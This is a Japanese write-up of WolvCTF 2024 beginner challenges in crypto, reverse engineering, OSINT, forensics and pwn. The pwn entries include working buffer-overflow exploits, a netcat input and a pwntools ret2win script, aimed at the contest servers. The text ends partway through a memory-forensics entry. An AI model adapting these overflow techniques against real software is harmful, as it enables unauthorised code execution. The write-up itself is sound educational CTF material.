WolvCTF 2024 Writeup

この大会は2024/3/16 8:00(JST)~2024/3/18 8:00(JST)に開催されました。
今回もチームで参戦。結果は4409点で622チーム中36位でした。
自分で解けた問題をWriteupとして書いておきます。

Crypto: TwoTimePad (Beginner)

eFlag.bmpもeWolverine.bmpの55バイト目以降をXORしてBMP画像にする。復号した画像にフラグが書いてあった。

#!/usr/bin/env python3
with open('eWolverine.bmp', 'rb') as f:
    eWolverine = f.read()

with open('eFlag.bmp', 'rb') as f:
    eFlag = f.read()

flag = eFlag[:55]
for i in range(55, len(eFlag)):
    flag += bytes([eFlag[i] ^ eWolverine[i]])

with open('flag.bmp', 'wb') as f:
    f.write(flag)

wctf{D0NT_R3CYCLE_K3Y5}

Crypto: yORs Truly <3 (Beginner)

plaintextの先頭を鍵としてciphertext_decodedをXORで復号する。

#!/usr/bin/env python3
import base64

plaintext = b"A string of text can be encrypted by applying the bitwise XOR operator to every character using a given key"
ciphertext_decoded = base64.b64decode("NkMHEgkxXjV/BlN/ElUKMVZQEzFtGzpsVTgGDw==")

flag = b""
for i in range(len(ciphertext_decoded)):
    flag += bytes([plaintext[i] ^ ciphertext_decoded[i]])
flag = flag.decode()
print(flag)
wctf{X0R_i5_f0rEv3r_My_L0Ve}

Pwn: babypwn (Beginner)

BOFで任意の32バイトの後に"A"を4バイト指定すれば、フラグが得られる。

$ nc babypwn.wolvctf.io 1337
== proof-of-work: disabled ==
What's your name?
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAA
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAA
 nice to meet you!
Binary exploitation is the best!
Memory unsafe languages rely on coders to not make mistakes.
But I don't worry, I write perfect code :)
wctf{pwn_1s_th3_best_Categ0ry!}
wctf{pwn_1s_th3_best_Categ0ry!}

Pwn: babypwn2 (Beginner)

BOFでget_flag関数をコールする。

$ gdb -q ./babypwn2      
Reading symbols from ./babypwn2...
(No debugging symbols found in ./babypwn2)
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /media/sf_Shared/babypwn2 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
What's your name?
>> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Hi AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL!

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffdee8 --> 0x7fffffffe250 ("/media/sf_Shared/babypwn2")
RCX: 0x0 
RDX: 0x0 
RSI: 0x7fffffffbc90 ("Hi AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL!\n")
RDI: 0x7fffffffbb70 --> 0x7ffff7e19e70 (<__funlockfile>:        mov    rdi,QWORD PTR [rdi+0x88])
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffddd8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RIP: 0x401219 (<main+73>:       ret)
R8 : 0x0 
R9 : 0x73 ('s')
R10: 0x0 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffdef8 --> 0x7fffffffe26a ("CLUTTER_IM_MODULE=xim")
R14: 0x0 
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40120e <main+62>:  call   0x401030 <printf@plt>
   0x401213 <main+67>:  mov    eax,0x0
   0x401218 <main+72>:  leave
=> 0x401219 <main+73>:  ret
   0x40121a:    nop    WORD PTR [rax+rax*1+0x0]
   0x401220 <__libc_csu_init>:  push   r15
   0x401222 <__libc_csu_init+2>:        mov    r15,rdx
   0x401225 <__libc_csu_init+5>:        push   r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddd8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffdde0 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffdde8 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffddf0 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffddf8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0040| 0x7fffffffde00 ("AJAAfAA5AAKAAgAA6AAL")
0048| 0x7fffffffde08 ("AAKAAgAA6AAL")
0056| 0x7fffffffde10 --> 0x4c414136 ('6AAL')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401219 in main ()
gdb-peda$ patto AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 40

$ ROPgadget --binary babypwn2 | grep ": ret"  
0x0000000000401016 : ret
0x0000000000401062 : retf 0x2f
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('babypwn2.wolvctf.io', 1337)
else:
    p = process('./babypwn2')

elf = ELF('./babypwn2')

ret_addr = 0x401016
get_flag_addr = elf.symbols['get_flag']

payload = b'A' * 40
payload += p64(ret_addr)
payload += p64(get_flag_addr)

data = p.recvuntil(b'>> ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvuntil(b'}').decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to babypwn2.wolvctf.io on port 1337: Done
[*] '/media/sf_Shared/babypwn2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
== proof-of-work: disabled ==
What's your name?
>> b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x16\x10@\x00\x00\x00\x00\x00\x95\x11@\x00\x00\x00\x00\x00'
Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x16\x10@!
wctf{Wo4h_l0ok_4t_y0u_h4ck1ng_m3}
[*] Closed connection to babypwn2.wolvctf.io port 1337
wctf{Wo4h_l0ok_4t_y0u_h4ck1ng_m3}

Rev: Shredded (Beginner)

スクリプトの処理概要は以下の通り。

・lines: shredded.cの各行の配列
・longest = 0
・linesの各iについて以下を実行
 ・行の長さがlongestより大きい場合
  ・longest = iの長さ
・padLines = []
・全体がlongestの長さになるようlinesの各行に" "でパディングしたものをpadLinesに追加
・split: ""の要素をlongestの数だけ持つ配列
・padLinesの各要素lineについて以下を実行
 ・longest未満の各iについて以下を実行
  ・split[i]にlines[i]を結合
  ・split[i]に改行文字を結合
・splitの最後の要素を削除
・splitをシャッフル
・シャッフルしたsplitを各ファイルに分けて出力

シャッフルしているので、文字の長さ等から順序を推測していく。各ファイルでスペースでない文字を行ごとにして文字を見てみる。

[+] **** Line 0 ****
2 #
4 i
5 e
6 .
9 i
13 d
16 o
18 n
19 l
21 u
24 >
25 d
26 h
27 s
28 t
30 <
31 c
[+] **** Line 1 ****
2 #
4 i
5 e
6 g
9 i
13 d
16 n
17 >
18 n
19 l
21 u
24 h
25 r
26 .
27 s
28 t
30 <
31 c
[+] **** Line 2 ****
2 i
4 n
5 n
12 (
13 i
18 t
19 m
21 a
28 {
30 )
[+] **** Line 3 ****
1 D
2 c
3 "
4 h
5 a
6 R
11 T
12 g
13 l
14 E
15 ;
16 "
17 A
18 a
21 f
24 D
25 =
26 E
27 ]
29 C
30 [
31 r
[+] **** Line 4 ****
2 c
4 h
5 t
9 ]
12 e
13 n
16 ;
18 a
21 i
25 1
27 [
28 5
30 r
31 r
[+] **** Line 5 ****
1 ;
2 i
4 n
6 n
9 l
11 g
12 =
13 n
14 )
16 e
17 l
18 t
19 l
21 e
24 f
25 r
26 (
27 s
28 t
29 a
[+] **** Line 6 ****
0 )
1 ;
2 f
4 o
6 i
7 +
9 ;
11 e
12 i
13 t
14 n
15 i
18 r
19 i
21 n
23 {
24 <
25 0
27 =
29 l
31 (
32 +
[+] **** Line 7 ****
2 i
4 n
5 ]
6 [
9 a
13 i
16 g
17 ;
18 t
19 r
21 [
24 ]
25 l
26 i
28 f
30 =
31 e
[+] **** Line 8 ****
2 }
[+] **** Line 9 ****
0 +
1 0
2 f
3 ;
4 o
6 ;
7 i
9 e
10 {
12 i
13 t
14 5
16 n
18 r
19 i
20 )
21 n
24 i
25 l
27 =
29 <
31 (
32 +
[+] **** Line 10 ****
0 ;
1 %
2 i
3 l
4 n
5 ]
6 r
7 n
9 t
11 2
13 i
14 )
15 e
16 e
17 i
18 t
19 r
21 [
24 (
25 n
26 [
28 i
29 *
30 =
31 e
32 ]
[+] **** Line 11 ****
2 }
[+] **** Line 12 ****
2 i
4 n
5 0
6 '
9 \
12 ]
13 5
16 0
18 t
19 r
21 [
25 '
26 ;
27 =
31 e
[+] **** Line 13 ****
2 c
4 h
13 ;
18 a
21 a
31 r
[+] **** Line 14 ****
2 f
3 i
4 o
6 i
7 +
9 ;
11 0
12 i
13 t
14 ;
15 +
18 r
19 i
20 {
21 n
24 <
25 0
27 =
29 5
31 (
32 )
[+] **** Line 15 ****
2 a
5 e
12 r
13 t
18 =
19 i
21 n
25 ;
27 i
28 ]
30 [
[+] **** Line 16 ****
0 %
1 )
2 i
3 *
4 n
5 ]
6 r
7 5
8 ;
9 t
10 ]
11 +
13 i
14 7
15 1
16 e
17 (
18 t
19 r
20 5
21 [
23 0
24 (
25 n
26 [
28 i
29 i
30 =
31 e
32 )
[+] **** Line 17 ****
2 i
3 a
4 n
5 (
6 )
9 1
12 i
13 (
14 =
15 ;
16 5
17 0
18 t
19 r
21 [
24 5
25 *
26 %
27 7
28 )
29 ]
30 +
31 e
[+] **** Line 18 ****
2 }
[+] **** Line 19 ****
2 f
3 i
4 o
6 i
7 +
9 ;
11 0
12 i
13 t
14 ;
15 +
18 r
19 i
20 {
21 n
24 <
25 0
27 =
29 5
31 (
32 )
[+] **** Line 20 ****
2 a
5 e
12 r
13 t
18 =
19 i
21 n
25 ;
27 i
28 ]
30 [
[+] **** Line 21 ****
0 5
1 )
2 i
3 *
4 n
5 ]
6 r
7 )
9 t
10 ;
11 +
13 i
14 3
15 7
16 e
17 (
18 t
19 r
20 0
21 [
23 ]
24 (
25 n
26 [
28 i
29 i
30 =
31 e
32 %
[+] **** Line 22 ****
1 a
2 i
3 ;
4 n
5 (
6 %
9 7
11 =
12 i
13 (
16 )
17 ]
18 t
19 r
21 [
24 0
25 *
26 5
27 3
28 )
30 +
31 e
[+] **** Line 23 ****
2 }
[+] **** Line 24 ****
0 )
1 ;
2 f
4 o
5 t
7 +
9 0
11 5
13 n
14 0
15 i
16 ;
17 <
18 r
19 (
21 i
23 {
26 i
28 =
30 i
32 +
[+] **** Line 25 ****
1 0
2 i
3 x
4 n
5 ]
6 r
7 0
9 t
11 ^
13 i
15 2
16 e
17 ]
18 t
19 r
21 [
24 i
25 n
26 [
28 i
30 =
31 e
32 ;
[+] **** Line 26 ****
1 0
2 i
3 x
4 n
5 ]
6 r
7 ;
9 t
11 ^
13 i
15 5
16 e
17 ]
18 t
19 r
21 [
24 i
25 n
26 [
28 i
30 =
31 e
[+] **** Line 27 ****
2 }
[+] **** Line 28 ****
2 f
3 i
4 o
6 i
7 +
9 ;
11 0
12 i
13 t
14 ;
15 +
18 r
19 i
20 {
21 n
24 <
25 0
27 =
29 5
31 (
32 )
[+] **** Line 29 ****
2 a
5 e
12 r
13 t
18 =
19 i
21 n
25 ;
27 i
28 ]
30 [
[+] **** Line 30 ****
0 )
1 3
2 i
3 )
4 n
5 ]
6 r
7 1
8 ]
9 t
10 0
11 +
13 i
14 8
15 *
16 e
17 (
18 t
19 r
20 %
21 [
22 ;
23 5
24 (
25 n
26 [
28 i
29 i
30 =
31 e
32 2
[+] **** Line 31 ****
1 =
2 i
4 n
5 (
6 2
7 ;
9 *
11 ]
12 i
13 (
15 a
16 1
17 5
18 t
19 r
21 [
24 %
25 )
26 )
27 8
28 3
29 0
30 +
31 e
[+] **** Line 32 ****
2 }
[+] **** Line 33 ****
0 )
1 ;
2 f
4 o
5 t
7 +
9 0
11 5
13 n
14 0
15 i
16 ;
17 <
18 r
19 (
21 i
23 {
26 i
28 =
30 i
32 +
[+] **** Line 34 ****
0 i
1 n
3 t
5 n
6 %
7 r
9 \
10 ;
12 t
13 i
14 i
15 e
16 x
17 "
19 p
20 ]
21 r
23 )
25 \
26 X
27 (
28 "
29 ,
30 f
32 [
[+] **** Line 35 ****
2 }
[+] **** Line 36 ****
2 r
4 e
5 0
12 ;
18 t
19 r
21 n
31 u
[+] **** Line 37 ****
2 }

37行目などからshred2.txtが0列目の情報とわかる。13行目はchar a;と推測できる。また0行目は#includeで始まると推測できる。以降、C言語ソースコードになるよう推測しながら埋めていく。
最終的には以下のコードになる。

00 #include <stdio.h>
01 #include <string.h>
02 int main() {
03 char flag[] = "REDACTED";
04 char inter[51];
05 int len = strlen(flag);
06 for(int i = 0; i < len; i++) {
07 inter[i] = flag[i];
08 }
09 for(int i = len; i < 50; i++) {
10 inter[i] = inter[(i*2)%len];
11 }
12 inter[50] = '\0';
13 char a;
14 for(int i = 0; i < 50; i++) {
15 a = inter[i];
16 inter[i] = inter[((i+7)*15)%50];
17 inter[((i+7)*15)%50] = a;
18 }
19 for(int i = 0; i < 50; i++) {
20 a = inter[i];
21 inter[i] = inter[((i+3)*7)%50];
22 inter[((i+3)*7)%50] = a;
23 }
24 for (int i = 0; i < 50; i++) {
25 inter[i] = inter[i] ^ 0x20;
26 inter[i] = inter[i] ^ 0x5;
27 }
28 for(int i = 0; i < 50; i++) {
29 a = inter[i];
30 inter[i] = inter[((i+83)*12)%50];
31 inter[((i+83)*12)%50] = a;
32 }
33 for (int i = 0; i < 50; i++) {
34     printf("\\x%X ", inter[i]);
35 }
36 return 0;
37 }

これを逆算していくとフラグがわかる。

#!/usr/bin/env python3

lines_list = []
for i in range(33):
    fname = 'shredFiles/shred%d.txt' % i
    with open(fname, 'r') as f:
        lines = f.readlines()
        lines_list.append(lines)

## research ##
for j in range(38):
    print('[+] **** Line %d ****' % j)
    for i in range(33):
        c = lines_list[i][j].replace('\n', '')
        if c != ' ':
            print(i, c)
print()

## guess ##
f_indexes = [2, 4, 18, 31, 19, 21, 13, 5, 12, 30, 27, 28, 25, 9, 16, 6, 26, 24,
    17, 29, 11, 14, 1, 3, 15, 7, 32, 0, 20, 23, 10, 8, 22]

for j in range(38):
    print('%02d ' % j, end='')
    for i in f_indexes:
        c = lines_list[i][j].replace('\n', '')
        print(c, end='')
    print()
print()

## get flag ##
with open('output.txt', encoding='utf-16') as f:
    out = f.read().split(' ')[:-1]

inter = []
for o in out:
    inter.append(int(o[2:], 16))

for i in range(49, -1, -1):
    a = inter[((i + 83) * 12) % 50]
    inter[((i + 83) * 12) % 50] = inter[i]
    inter[i] = a

for i in range(49, -1, -1):
    inter[i] = inter[i] ^ 0x5
    inter[i] = inter[i] ^ 0x20

for i in range(49, -1, -1):
    a = inter[((i + 3) * 7) % 50]
    inter[((i + 3) * 7) % 50] = inter[i]
    inter[i] = a

for i in range(49, -1, -1):
    a = inter[((i + 7) * 15) % 50]
    inter[((i + 7) * 15) % 50] = inter[i]
    inter[i] = a

flag = ''
for i in range(50):
    flag += chr(inter[i])
flag = flag[:flag.index('}') + 1]
print(flag)
wctf{sHr3DDinG_L1k3_H3NDr1x_93284}

OSINT: Redditor (Beginner)

WolvSec Reddit で検索すると、以下のページが見つかる。

https://www.reddit.com/user/WolvSec/

ここにフラグが書かれていた。

wctf{h41L_t0_th3_v1ct0rs_v4l14nt_h41L_t0_tH3_c0Nqu3r1nG_h3r035}

Forensics: Hidden Data (Beginner)

$ exiftool wctf_evil.jpg                                   
ExifTool Version Number         : 12.57
File Name                       : wctf_evil.jpg
Directory                       : .
File Size                       : 11 kB
File Modification Date/Time     : 2024:03:16 11:55:31+09:00
File Access Date/Time           : 2024:03:16 11:55:41+09:00
File Inode Change Date/Time     : 2024:03:16 11:55:31+09:00
File Permissions                : -rwxrwx---
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Comment                         : wctf{h1dd3n_d4t4_n0T_s0_h1dD3N}
Image Width                     : 250
Image Height                    : 307
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 250x307
Megapixels                      : 0.077

Commentにフラグが設定されていた。

wctf{h1dd3n_d4t4_n0T_s0_h1dD3N}

Rev: babyre (Beginner)

$ strings babyre | grep wctf
wctf{n1c3_oNe_y0u_Found_m3}
wctf{n1c3_oNe_y0u_Found_m3}

Sanity Check (Misc)

Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。

wctf{4_c0py_4nd_p4s+3_r4c3}

WOLPHV I: Reconnaissance (OSINT)

X(旧Twitter)で、"WOLPHV"を調べると、以下のページにたどり着く。

https://twitter.com/FalconFeedsio/status/1706989111414849989

返信を見ていくと、以下のメッセージがある。

woah!!! we need to investigate this
d2N0Znswa18xX2QwblRfdGgxTmtfQTFfdzFsbF9yM1BsNGMzX1VzX2YwUl80X2wwbmdfdDFtZX0=


base64デコードする。

$ echo d2N0Znswa18xX2QwblRfdGgxTmtfQTFfdzFsbF9yM1BsNGMzX1VzX2YwUl80X2wwbmdfdDFtZX0= | base64 -d
wctf{0k_1_d0nT_th1Nk_A1_w1ll_r3Pl4c3_Us_f0R_4_l0ng_t1me}
wctf{0k_1_d0nT_th1Nk_A1_w1ll_r3Pl4c3_Us_f0R_4_l0ng_t1me}

doubledelete's revenge (Rev)

Ghidraでデコンパイルする。

undefined8 main(int param_1,undefined8 *param_2)

{
  uint uVar1;
  undefined8 uVar2;
  FILE *pFVar3;
  uint *puVar4;
  long in_FS_OFFSET;
  int local_64;
  uint local_48 [14];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  if (param_1 == 3) {
    pFVar3 = fopen((char *)param_2[1],"r");
    fread(local_48,1,0x30,pFVar3);
    for (local_64 = 0; local_64 < 0xc; local_64 = local_64 + 1) {
      puVar4 = (uint *)((long)local_48 + (long)(local_64 << 2));
      uVar1 = *puVar4;
      *puVar4 = uVar1 << 0xd | uVar1 >> 0x13;
    }
    pFVar3 = fopen((char *)param_2[2],"wb");
    fwrite(local_48,1,0x30,pFVar3);
    uVar2 = 0;
  }
  else {
    printf("[wolphvlog] usage: %s <infile> <ofile>",*param_2);
    uVar2 = 1;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}

32ビットごとに13ビット左シフトしたものと19ビット右にシフトしたものの和になっているので、元に戻す。

#!/usr/bin/env python3
with open('flag.txt.enc', 'rb') as f:
    enc = f.read()

flag = b''
for i in range(0, len(enc), 4):
    v = int.from_bytes(enc[i:i+4], 'little')
    v = v >> 0xd | ((v << 0x13) & 0xffffffff)
    flag += v.to_bytes(4, 'little')

flag = flag.decode()
print(flag)
wctf{i_th1nk_y0u_m1sund3rst00d_h0w_r0t13_w0rk5}

Eternally Pwned: Infiltration (Forensics)

smbでフィルタリングする。
No.446のEcho Requestで以下のデータを送信している。

d2N0ZntsM3RTXw==

このデータをbase64デコードする。

$ echo d2N0ZntsM3RTXw== | base64 -d        
wctf{l3tS_

No.550のTrans2 Secondary Requestで大量の"A"のデータの中に2つのbase64文字列が含まれている。

M3RlUm40bEx5X2cwXw==
YkxVM183bjl3bTRpV25MfQ==

この文字列をbase64デコードする。

$ echo M3RlUm40bEx5X2cwXw== | base64 -d
3teRn4lLy_g0_
$ echo YkxVM183bjl3bTRpV25MfQ== | base64 -d
bLU3_7n9wm4iWnL}

base64デコードした文字列を結合すると、フラグになった。

wctf{l3tS_3teRn4lLy_g0_bLU3_7n9wm4iWnL}

Eternally Pwned: Persistence (Forensics)

$ python3 vol.py -f MEMORY.DMP windows.pstree
Volatility 3 Framework 2.5.2
Progress:  100.00               PDB scanning finished                                
PID     PPID    ImageFileName   Offset(V)       Threads Handles SessionId       Wow64   CreateTime      ExitTime        Audit   Cmd     Path

4       0       System  0xfa8018d8db30  71      497     N/A     False   2024-03-09 11:47:48.000000      N/A     -       -       -
* 224   4       smss.exe        0xfa8019c06310  2       29      N/A     False   2024-03-09 11:47:48.000000      N/A     \Device\HarddiskVolume1\Windows\System32\smss.exe \SystemRoot\System32\smss.exe   \SystemRoot\System32\smss.exe
296     288     csrss.exe       0xfa801a39a750  9       341     0       False   2024-03-09 11:47:49.000000      N/A     \Device\HarddiskVolume1\Windows\System32\csrss.exe        %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16  C:\Windows\system32\csrss.exe
348     288     wininit.exe     0xfa801a3b8b30  4       77      0       False   2024-03-09 11:47:49.000000      N/A     \Device\HarddiskVolume1\Windows\System32\wininit.exe      wininit.exe     C:\Windows\system32\wininit.exe
* 468   348     lsm.exe 0xfa801a40eb30  11      144     0       False   2024-03-09 11:47:49.000000      N/A     \Device\HarddiskVolume1\Windows\System32\lsm.exe  C:\Windows\system32\lsm.exe     C:\Windows\system32\lsm.exe
* 460   348     lsass.exe       0xfa801a4083b0  8       569     0       False   2024-03-09 11:47:49.000000      N/A     \Device\HarddiskVolume1\Windows\System32\lsass.exe        C:\Windows\system32\lsass.exe   C:\Windows\system32\lsass.exe
* 444   348     services.exe    0xfa801a3ff5f0  9       200     0       False   2024-03-09 11:47:49.000000      N/A     \Device\HarddiskVolume1\Windows\System32\services.exe     C:\Windows\system32\services.exe        C:\Windows\system32\services.exe
** 640  444     svchost.exe     0xfa801a54bb30  9       243     0       False   2024-03-09 11:47:50.000000      N/A     \Device\HarddiskVolume1\Windows\System32\svchost.exe      C:\Windows\system32\svchost.exe -k RPCSS        C:\Windows\system32\svchost.exe
** 1536 444     spoolsv.exe     0xfa801a93fb30  13      254     0       False   2024-03-09 11:56:05.000000      N/A     \Device\HarddiskVolume1\Windows\System32\spoolsv.exe      C:\Windows\System32\spoolsv.exe C:\Windows\System32\spoolsv.exe
** 908  444     svchost.exe     0xfa801a5ccb30  8       197     0       False   2024-03-09 11:47:50.000000      N/A     \Device\HarddiskVolume1\Windows\System32\svchost.exe      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted C:\Windows\System32\svchost.exe
*** 1304        908     dwm.exe 0xfa801a75a060  4       66      1       False   2024-03-09 11:47:51.000000      N/A     \Device\HarddiskVolume1\Windows\System32\dwm.exe  "C:\Windows\system32\Dwm.exe"   C:\Windows\system32\Dwm.exe
** 1040 444     svchost.exe     0xfa801a6d0060  4       46      0       False   2024-03-09 11:47:51.000000      N/A     \Device\HarddiskVolume1\Windows\System32\svchost.exe      C:\Windows\system32\svchost.exe -k regsvc       C:\Windows\system32\svchost.exe
** 2040 444     mscorsvw.exe    0xfa801a85db30  8       84      0       True    2024-03-09 11:49:52.000000      N/A     \Device\HarddiskVolume1\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe   C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe      C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe
** 1956 444     sppsvc.exe      0xfa801a87f4f0  5       151     0       False   2024-03-09 11:47:59.000000      N/A     \Device\HarddiskVolume1\Windows\System32\sppsvc.exe       C:\Windows\system32\sppsvc.exe  C:\Windows\system32\sppsvc.exe
** 812  444     svchost.exe     0xfa801a5a49e0  34      953     0       False   2024-03-09 11:47:50.000000      N/A     \Device\HarddiskVolume1\Windows\System32\svchost.exe      C:\Windows\system32\svchost.exe -k netsvcs      C:\Windows\system32\svchost.exe
** 1200 444     taskhost.exe    0xfa801a722b30  6       117     1       False   2024-03-09 11:47:51.000000      N/A     \Device\HarddiskVolume1\Windows\System32\taskhost.exe     "taskhost.exe"  C:\Windows\system32\taskhost.exe
** 692  444     svchost.exe     0xfa801a5645f0  14      288     0       False   2024-03-09 11:47:50.000000      N/A     \Device\HarddiskVolume1\Windows\System32\svchost.exe      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted        C:\Windows\System32\svchost.exe
** 948  444     svchost.exe     0xfa801a5dc5f0  17      441     0       False   2024-03-09 11:47:50.000000      N/A     \Device\HarddiskVolume1\Windows\System32\svchost.exe      C:\Windows\system32\svchost.exe -k NetworkService       C:\Windows\system32\svchost.exe
** 1332 444     mscorsvw.exe    0xfa801a705060  8       75      0       False   2024-03-09 11:49:52.000000      N/A     \Device\HarddiskVolume1\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe    C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe
** 312  444     spoolsv.exe     0xfa801a6a6670  0       -       0       False   2024-03-09 11:47:51.000000      2024-03-09 11:55:05.000000      \Device\HarddiskVolume1\Windows\System32\spoolsv.exe      -       -
** 1852 444     msdtc.exe       0xfa8018e3e620  13      142     0       False   2024-03-09 11:49:53.000000      N/A     \Device\HarddiskVolume1\Windows\System32\msdtc.exe        C:\Windows\System32\msdtc.exe   C:\Windows\System32\msdtc.exe
** 576  444     svchost.exe     0xfa801a521b30  12      348     0       False   2024-03-09 11:47:50.000000      N/A     \Device\HarddiskVolume1\Windows\System32\svchost.exe      C:\Windows\system32\svchost.exe -k DcomLaunch   C:\Windows\system32\svchost.exe
*** 1848        576     WmiPrvSE.exe    0xfa801a500a10  7       118     0       False   2024-03-09 12:04:55.000000      N/A     \Device\HarddiskVolume1\Windows\System32\wbem\WmiPrvSE.exe        C:\Windows\system32\wbem\wmiprvse.exe   C:\Windows\system32\wbem\wmiprvse.exe
*** 2052        576     WmiPrvSE.exe    0xfa801990fb30  9       248     0       False   2024-03-09 12:04:56.000000      N/A     \Device\HarddiskVolume1\Windows\System32\wbem\WmiPrvSE.exe        C:\Windows\system32\wbem\wmiprvse.exe   C:\Windows\system32\wbem\wmiprvse.exe
** 1992 444     svchost.exe     0xfa801a46c220  6       67      0       False   2024-03-09 11:49:53.000000      N/A     \Device\HarddiskVolume1\Windows\System32\svchost.exe      C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation       C:\Windows\system32\svchost.exe
** 860  444     svchost.exe     0xfa801a5c05a0  11      273     0       False   2024-03-09 11:47:50.000000      N/A     \Device\HarddiskVolume1\Windows\System32\svchost.exe      C:\Windows\system32\svchost.exe -k LocalService C:\Windows\system32\svchost.exe
** 1380 444     svchost.exe     0xfa801a78e730  6       99      0       False   2024-03-09 11:47:52.000000      N/A     \Device\HarddiskVolume1\Windows\System32\svchost.exe      C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted      C:\Windows\system32\svchost.exe
** 240  444     svchost.exe     0xfa801a41d060  18      295     0       False   2024-03-09 11:47:50.000000      N/A     \Device\HarddiskVolume1\Windows\System32\svchost.exe      C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork        C:\Windows\system32\svchost.exe
** 2168 444     TrustedInstall  0xfa801a4fab30  7       223     0       False   2024-03-09 12:04:57.000000      N/A     \Device\HarddiskVolume1\Windows\servicing\TrustedInstaller.exe    C:\Windows\servicing\TrustedInstaller.exe       C:\Windows\servicing\TrustedInstaller.exe
360     340     csrss.exe       0xfa801a3bf060  7       266     1       False   2024-03-09 11:47:49.000000      N/A     \Device\HarddiskVolume1\Windows\System32\csrss.exe        %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16  C:\Windows\system32\csrss.exe
* 988   360     conhost.exe     0xfa801a85e1d0  2       38      1       False   2024-03-09 11:49:15.000000      N/A     \Device\HarddiskVolume1\Windows\System32\conhost.exe      \??\C:\Windows\system32\conhost.exe     C:\Windows\system32\conhost.exe
* 1868  360     conhost.exe     0xfa801a4a8630  2       38      1       False   2024-03-09 11:50:05.000000      N/A     \Device\HarddiskVolume1\Windows\System32\conhost.exe      \??\C:\Windows\system32\conhost.exe     C:\Windows\system32\conhost.exe
